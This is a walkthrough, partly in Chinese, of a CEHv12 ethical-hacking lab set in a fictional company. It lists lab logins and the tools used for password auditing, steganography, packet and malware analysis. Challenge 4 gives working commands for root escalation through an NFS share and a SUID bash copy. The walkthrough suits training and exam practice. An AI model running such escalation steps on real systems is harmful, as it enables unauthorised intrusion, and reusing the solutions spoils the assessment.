:::spoiler Scenario
You have been hired as a part of the Red Team at CEHORG, an IT and ITES organization that deals with advanced research and development in the field of information security. It has offices all over the country connected in real-time by its network infrastructure.

Your organization is worried about rising cybersecurity incidents and has entrusted you with a comprehensive security audit of the complete infrastructure.

CEHORG’s internal network consists of several subnets housing various organizational units like any large organization. The front office is connected to a separate subnet that connects to the company’s public-facing computers. The company has installed multiple kiosks to help customers understand their products and services. The front office also has Wi-Fi connectivity to cater to the users who carry their smartphones and laptops.

The CEHORG’s internal network is made up of Militarized and Demilitarized zones. As a security precaution, and by design, all the internal resource zones are configured with different subnet IPs. The militarized zone houses the application servers that provide application frameworks for various departments. The Demilitarized Zone contains public-facing systems of the organization, such as web and mail servers. The headquarter’s network topology and protocols are replicated worldwide in all its satellite offices for easy communication with the headquarters.

:::spoiler Description
CEHv12 Skill Check is divided into four parts. All four parts represent a single target organization as described in the scenario. The objective of these skill checks is to apply learning from CEH (Certified Ethical Hacker) modules in a real-life scenario to solve challenges you will face in red team assignments in your job roles. The skill check will help you practice the skills acquired in the class and convert them into proficiency.

Part 2 of CEH Skill Check covers System Hacking, Malware Threats, Sniffing, Social Engineering, and Denial-of-Service modules. In this part, you must exploit vulnerabilities identified in the last part and use various network/system/human exploitation techniques to gain access to the target’s systems. You have to perform lateral and vertical privilege escalations and install malicious apps and utilities to maintain access and clear logs to avoid detection. You will need to create and use malicious applications against the target and will also be required to analyze any malware discovered on any of the targets. You need to note all the information discovered in this part of the Skill Check and proceed to the subsequent phases of the ethical hacking cycle in the next part of the Skill Check.

On the cyber range, you will have access to Ethical Hacker Workstations,* EH Workstation – 1* and EH Workstation – 2. EH Workstation – 1 is a Parrot Security machine and EH Workstation – 2 is a Windows 11 machine. You can switch to these machines from the Resources tab.

The credentials to access EH Workstation – 1 (Parrot Security) machine are as below:

Username: attacker Password: toor

The credentials to access EH Workstation – 2 (Windows 11) are as below:

Username: Admin Password: Pa$$w0rd

The credentials to access OpenVAS on EH Workstation – 1 (Parrot Security) machine are as below:

Username: admin Password: password

Note: You can use username.txt and password.txt available on the Desktop of the EH Workstation – 1 (Parrot Security) machine for any credentials/password cracking attempt.

# Challenge 3:

You have been given a task to audit the passwords of a server present in CEHORG network. Find out the password of the user Adam and submit it. (Note: Use Administrator/ CSCPa$$ when asked for credentials). (Format: aaaaaaaaN)

這次使用win 11 的l0phtCrack --> Password Auditing Wizard --> next --> next --> A remote machine --> Host(10.10.10.25) --> Use Specifc User Credentials --> Username(Administrator),Password(CSCPa$$) --> next --> ~~~ --> finish


# Challenge 4:

You have got user-level access to the machine with IP 172.16.0.11. Your task is to escalate the privileges to that of the root user on the machine and read the content in the rootflag.txt file. (Note: all the flag files are located at the root, Desktop, Documents, or Downloads folder for the respective users/machines). Note: use LinuxPass when asked for machine password. (Format: aNNaaa*a)

這題超爛沒給用戶明誰知道是啥，找遍資料後用`ssh ubuntu@172.16.0.11`連進去後找了一下是要用nfs 提權的意思(順帶一題這題真的沒帶腦設計直接用`sudo su`就變 root 了

正規解
**攻擊者**

showmount -e 172.16.0.11
查看共享資料夾

mkdir /tmp/nfs

sudo mount -t nfs 172.16.0.11:/home /tmp/nfs

cd /tmp/nfs

sudo cp /bin/bash ./

sudo chmod +s bash

**victim**

ssh ubuntu@172.16.0.11

cd /home

./bash -p 
bash -p 保持 SUID 提權。

cat /rootflag.txt


# Challenge 5:

An employee in your organization is suspected of sending important information to an accomplice outside the organization. The incident response team has intercepted some files from the employee's system that they believe have hidden information. You are asked to investigate a file named Confidential.txt and extract hidden information. Find out the information hidden in the file. Note: The Confidential.txt file is located at C:\Users\Admin\Documents in EH Workstation – 2 machine. (Format: Aaaaa/AaaaaaaNNNNN)

這題很明顯就是被snow用過
把SNOW拉到桌面在桌面打開cmd `SNOW.EXE -C "C:\Users\Administrator\Documents\Confidential.txt"`

# Challenge 6:

The incident response team has intercepted an image file from a communication that is supposed to have just text. You are asked to investigate the file and check if it contains any hidden information. Find out the information hidden in the file. Note: The vacation.bmp file is located at C:\Users\Admin\Documents in EH Workstation – 2 machine. (Format: AAANNNNNNN)

用OpenStego


# Challenge 7:

A disgruntled employee in CEHORG has used the Covert_TCP utility to share a secret message with another user in the CEHORG network. Covert_TCP manipulates the TCP/IP header of the data packets to send a file one byte at a time from any host to a destination. It can be used to hide the data inside IP header fields. The employee used the IP ID field to hide the message. The network capture file “Capture.pcapng” has been retained in the “C:\Users\Administrator\Documents” directory of the “EH Workstation – 2” machine. Analyze the session to get the message that was transmitted. (Format: AN*A*AN)

題目有提到Convert_tcp，wireshark --> Statistics --> Conversations --> TCP 16 --> 選擇8888 9999 port 右鍵 --> Apply as Filter --> A -> B，之後就觀察下面文字變化


# Challenge 8:

You are a malware analyst working for CEHORG. During your assessment within your organisation's network, you found a malware face.exe. The malware is extracted and placed at C:\Users\Admin\Documents in the EH Workstation – 2 machine. Analyze the malware and find out the File pos for KERNEL32.dll text. (Hint: exclude zeros.) (Format: AANN)

這裡用BinText打開看尋找KERNELL32.dll即可


# Challenge 9:

Analyze an ELF executable (Sample-ELF) file placed at C:\Users\Admin\Documents in the EH Workstation – 2 machines to determine the CPU Architecture it was built for. (Format: AAAAANN)

是ELF所以直接用linux 比較快，用SMB連線把那個檔案抓過來用`file`即可得到答案


# Challenge 10:

CEHORG has assigned you with analysing the snapshot of the operating system registry and perform the further steps as part of dynamic analysis and find out the whether the driver packages registry is changed. Give your response as Yes/No. (Format: Aaa)
